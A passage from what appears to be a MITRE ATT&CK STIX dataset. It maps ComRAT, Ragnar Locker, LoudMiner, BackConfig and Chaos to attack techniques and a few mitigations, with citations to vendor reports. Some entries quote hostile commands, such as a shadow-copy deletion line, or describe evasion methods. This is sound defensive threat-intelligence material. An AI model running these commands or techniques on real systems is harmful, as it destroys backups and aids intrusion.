            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
            "target_ref": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used a portable FAT16 partition image placed in %TEMP% as a hidden file system.(Citation: ESET ComRAT May 2020)",
            "relationship_type": "uses",
            "id": "relationship--150e1b1c-a575-4542-a66e-c1646212744b",
            "type": "relationship",
            "modified": "2020-06-29T04:05:19.132Z",
            "created": "2020-06-29T03:10:22.271Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                },
                {
                    "source_name": "CISA ComRAT Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used a scheduled task to launch its PowerShell loader.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)",
            "relationship_type": "uses",
            "id": "relationship--19153106-5607-4cac-91a5-c2a900bc5343",
            "type": "relationship",
            "modified": "2020-12-09T23:26:09.185Z",
            "created": "2020-06-29T03:27:50.994Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                },
                {
                    "source_name": "CISA ComRAT Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used unique per machine passwords to decrypt the orchestrator payload and a hardcoded XOR key to decrypt its communications module. [ComRAT](https://attack.mitre.org/software/S0126) has also used a unique password to decrypt the file used for its hidden file system.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)",
            "relationship_type": "uses",
            "id": "relationship--ad8fdfa4-5e0b-437d-9723-9bc5a272f465",
            "type": "relationship",
            "modified": "2020-12-09T23:26:09.254Z",
            "created": "2020-06-29T03:27:51.019Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                },
                {
                    "source_name": "CISA ComRAT Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used encryption and base64 to obfuscate its orchestrator code in the Registry. [ComRAT](https://attack.mitre.org/software/S0126) has also embedded an XOR encrypted communications module inside the orchestrator module. [ComRAT](https://attack.mitre.org/software/S0126) has encrypted its virtual file system using AES-256 in XTS mode and has encoded PowerShell scripts.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ",
            "relationship_type": "uses",
            "id": "relationship--3a86072e-4ca6-4b5d-bf31-b17c250f572e",
            "type": "relationship",
            "modified": "2020-12-11T20:13:44.928Z",
            "created": "2020-06-29T03:27:51.057Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                },
                {
                    "source_name": "CISA ComRAT Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) has encrypted and stored its orchestrator code in the Registry as well as a PowerShell script into the WsqmCons Registry key.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ",
            "relationship_type": "uses",
            "id": "relationship--c2496cf4-b502-44cf-ae85-efb9b882a4b1",
            "type": "relationship",
            "modified": "2020-12-11T20:13:44.996Z",
            "created": "2020-06-29T03:27:51.063Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                },
                {
                    "source_name": "CISA ComRAT Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) has injected its orchestrator DLL into explorer.exe. [ComRAT](https://attack.mitre.org/software/S0126) has also injected its communications module into the victim's default browser to make C2 connections appear less suspicious as all network connections will be initiated by the browser process.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)",
            "relationship_type": "uses",
            "id": "relationship--39647c47-c73d-4da7-9b1a-8c67f20c1890",
            "type": "relationship",
            "modified": "2020-12-09T23:26:09.430Z",
            "created": "2020-06-29T03:27:51.065Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used <code>fsutil fsinfo drives</code> to list connected drives.(Citation: ESET ComRAT May 2020)",
            "relationship_type": "uses",
            "id": "relationship--7dd2714d-aa8a-40ce-bae1-98634090ac01",
            "type": "relationship",
            "modified": "2020-06-29T03:33:39.040Z",
            "created": "2020-06-29T03:33:39.040Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used <code>cmd.exe</code> to execute commands.(Citation: ESET ComRAT May 2020)",
            "relationship_type": "uses",
            "id": "relationship--9800fd7a-d2e1-4188-a991-7b8e09edaa13",
            "type": "relationship",
            "modified": "2020-06-29T03:41:07.256Z",
            "created": "2020-06-29T03:41:07.256Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                },
                {
                    "source_name": "CISA ComRAT Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used PowerShell to load itself every time a user logs in to the system. [ComRAT](https://attack.mitre.org/software/S0126) can execute PowerShell scripts loaded into memory or from the file system.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)",
            "relationship_type": "uses",
            "id": "relationship--bdac1391-310e-4511-b272-b80924166723",
            "type": "relationship",
            "modified": "2020-12-09T23:26:09.548Z",
            "created": "2020-06-29T03:41:07.285Z"
        },
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            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
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                {
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                },
                {
                    "source_name": "CISA ComRAT Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) has the ability to use the Gmail web UI to receive commands and exfiltrate information.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)",
            "relationship_type": "uses",
            "id": "relationship--6ff34c78-2c85-4be5-b3db-0ec8543087d9",
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            "modified": "2020-12-09T23:26:09.611Z",
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            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) can load a PE file from memory or the file system and execute it with <code>CreateProcessW</code>.(Citation: ESET ComRAT May 2020)",
            "relationship_type": "uses",
            "id": "relationship--7eaf474f-7755-41d7-96c6-811889457be2",
            "type": "relationship",
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                {
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                },
                {
                    "source_name": "CISA ComRAT Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) can use SSL/TLS encryption for its HTTP-based C2 channel. [ComRAT](https://attack.mitre.org/software/S0126) has used public key cryptography with RSA and AES encrypted email attachments for its Gmail C2 channel.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ",
            "relationship_type": "uses",
            "id": "relationship--217ad0a6-f693-416e-9ae4-bcc0c533ce9f",
            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) has the ability to gather the victim's computer name.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
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            "source_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d",
            "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8",
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            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
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                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) has the ability to identify folders and files related to previous infections.(Citation: Unit 42 BackConfig May 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--2597e12c-c342-4ca0-a235-b05752b2bfa5",
            "type": "relationship",
            "modified": "2020-06-29T15:56:13.237Z",
            "created": "2020-06-29T15:53:14.495Z"
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d",
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            "description": "Use application control to mitigate installation and use of unapproved virtualization software.",
            "id": "relationship--f9deebbf-5710-4e54-b4be-83404cee35da",
            "type": "relationship",
            "modified": "2020-07-06T19:03:40.425Z",
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        },
        {
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            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d",
            "relationship_type": "mitigates",
            "description": "Disable Hyper-V if not necessary within a given environment.",
            "id": "relationship--1ec28c41-586b-42dc-9400-6e6313e38d84",
            "type": "relationship",
            "modified": "2020-07-06T19:03:40.431Z",
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            "object_marking_refs": [
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            ],
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            "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d",
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                {
                    "source_name": "ESET LoudMiner June 2019",
                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) has used QEMU and VirtualBox to run a Tiny Core Linux virtual machine, which runs XMRig and makes connections to the C2 server for updates.(Citation: ESET LoudMiner June 2019)",
            "relationship_type": "uses",
            "id": "relationship--9fc89cc1-ef57-461c-9324-0ebe43999c07",
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            "modified": "2020-06-29T22:47:34.564Z",
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "source_name": "ESET LoudMiner June 2019",
                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) can automatically launch a Linux virtual machine as a service at startup if the AutoStart option is enabled in the VBoxVmService configuration file.(Citation: ESET LoudMiner June 2019)",
            "relationship_type": "uses",
            "id": "relationship--80bead39-b050-48d9-b185-aa31d1681a61",
            "type": "relationship",
            "modified": "2020-08-19T16:11:52.444Z",
            "created": "2020-06-29T23:17:50.379Z"
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        {
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            ],
            "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb",
            "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336",
            "external_references": [
                {
                    "source_name": "Sophos Ragnar May 2020",
                    "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
                }
            ],
            "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has been delivered as an unsigned MSI package that was executed with <code>msiexec.exe</code>.(Citation: Sophos Ragnar May 2020)",
            "relationship_type": "uses",
            "id": "relationship--bf5b23c2-9b65-4909-ae6c-21b8ccadd930",
            "type": "relationship",
            "modified": "2020-06-30T00:18:39.773Z",
            "created": "2020-06-30T00:18:39.773Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb",
            "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0",
            "external_references": [
                {
                    "source_name": "Sophos Ragnar May 2020",
                    "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
                },
                {
                    "source_name": "Cynet Ragnar Apr 2020",
                    "url": "https://www.cynet.com/blog/cynet-detection-report-ragnar-locker-ransomware/",
                    "description": "Gold, B. (2020, April 27). Cynet Detection Report: Ragnar Locker Ransomware. Retrieved June 29, 2020."
                }
            ],
            "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) encrypts files on the local machine and mapped drives prior to displaying a note demanding a ransom.(Citation: Sophos Ragnar May 2020)(Citation: Cynet Ragnar Apr 2020)",
            "relationship_type": "uses",
            "id": "relationship--05951058-e8d4-4ace-a6b8-54735c6a4769",
            "type": "relationship",
            "modified": "2020-06-30T00:18:39.795Z",
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            "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb",
            "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d",
            "external_references": [
                {
                    "source_name": "Sophos Ragnar May 2020",
                    "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
                }
            ],
            "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has used VirtualBox and a stripped Windows XP virtual machine to run itself. The use of a shared folder specified in the configuration enables [Ragnar Locker](https://attack.mitre.org/software/S0481) to encrypt files on the host operating system, including files on any mapped drives.(Citation: Sophos Ragnar May 2020)",
            "relationship_type": "uses",
            "id": "relationship--913c67d5-0c5b-40d5-be88-6ce4e5030603",
            "type": "relationship",
            "modified": "2020-06-30T00:18:39.805Z",
            "created": "2020-06-30T00:18:39.805Z"
        },
        {
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            "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
            "external_references": [
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                    "source_name": "Sophos Ragnar May 2020",
                    "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
                }
            ],
            "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has attempted to stop services associated with business applications and databases to release the lock on files used by these applications so they may be encrypted.(Citation: Sophos Ragnar May 2020)",
            "relationship_type": "uses",
            "id": "relationship--9212f940-021e-49b1-b500-fa1dd76b7132",
            "type": "relationship",
            "modified": "2020-06-30T00:39:39.847Z",
            "created": "2020-06-30T00:39:39.847Z"
        },
        {
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            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "external_references": [
                {
                    "source_name": "Sophos Ragnar May 2020",
                    "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
                }
            ],
            "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has attempted to terminate/stop processes and services associated with endpoint security products.(Citation: Sophos Ragnar May 2020)",
            "relationship_type": "uses",
            "id": "relationship--ca33387d-495a-460a-86da-d5f8d8adda31",
            "type": "relationship",
            "modified": "2020-06-30T00:39:39.881Z",
            "created": "2020-06-30T00:39:39.881Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb",
            "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "external_references": [
                {
                    "source_name": "Sophos Ragnar May 2020",
                    "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
                }
            ],
            "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) may attempt to connect to removable drives and mapped network drives.(Citation: Sophos Ragnar May 2020)",
            "relationship_type": "uses",
            "id": "relationship--ea79bf34-c1ba-4523-879f-441d6a4a9e5e",
            "type": "relationship",
            "modified": "2020-06-30T00:39:39.885Z",
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            "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb",
            "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
            "external_references": [
                {
                    "source_name": "Sophos Ragnar May 2020",
                    "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
                }
            ],
            "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) can delete volume shadow copies using <code>vssadmin delete shadows /all /quiet</code>.(Citation: Sophos Ragnar May 2020)",
            "relationship_type": "uses",
            "id": "relationship--06dd311f-393f-4c24-beee-19d690ae4ba2",
            "type": "relationship",
            "modified": "2020-06-30T00:39:39.891Z",
            "created": "2020-06-30T00:39:39.891Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "Sophos Ragnar May 2020",
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                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
                }
            ],
            "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has used sc.exe to execute a service that it creates.(Citation: Sophos Ragnar May 2020)",
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                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
                }
            ],
            "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has used sc.exe to create a new service for the VirtualBox driver.(Citation: Sophos Ragnar May 2020)",
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                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
                }
            ],
            "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has used rundll32.exe to execute components of VirtualBox.(Citation: Sophos Ragnar May 2020)",
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                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
                }
            ],
            "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has used cmd.exe and batch scripts to execute commands.(Citation: Sophos Ragnar May 2020)",
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                    "source_name": "Sophos Ragnar May 2020",
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                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
                }
            ],
            "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has used regsvr32.exe to execute components of VirtualBox.(Citation: Sophos Ragnar May 2020)",
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                {
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) can use email attachments for command and control.(Citation: ESET ComRAT May 2020)",
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            "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416",
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                {
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used a custom .NET tool to collect documents from an organization's internal central database.(Citation: ESET ComRAT May 2020)",
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            "id": "relationship--b3e2abaa-f431-4791-95d0-d44f3a74a73f",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has infected victims using watering holes.(Citation: ESET ComRAT May 2020)",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used a task name associated with Windows SQM Consolidator.(Citation: ESET ComRAT May 2020)",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) can check the victim's default browser to determine which process to inject its communications module into.(Citation: ESET ComRAT May 2020)",
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            "id": "relationship--31029adf-2b28-4d7f-bdd3-b07f55374eae",
            "type": "relationship",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) can check the default browser by querying <code>HKCR\\http\\shell\\open\\command</code>.(Citation: ESET ComRAT May 2020)",
            "relationship_type": "uses",
            "id": "relationship--b511900a-9bfe-4f8c-b1e2-b95669a5eaeb",
            "type": "relationship",
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            "target_ref": "attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd",
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            "description": "Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.",
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            "source_ref": "attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd",
            "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c",
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        {
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            "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af",
            "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c",
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                {
                    "source_name": "Chaos Stolen Backdoor",
                    "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.",
                    "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"
                }
            ],
            "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell is triggered upon receipt of a packet with a special string, sent to any port.(Citation: Chaos Stolen Backdoor)",
            "relationship_type": "uses",
            "id": "relationship--788ec1d9-9192-46c9-8bc3-7397ccb854df",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f",
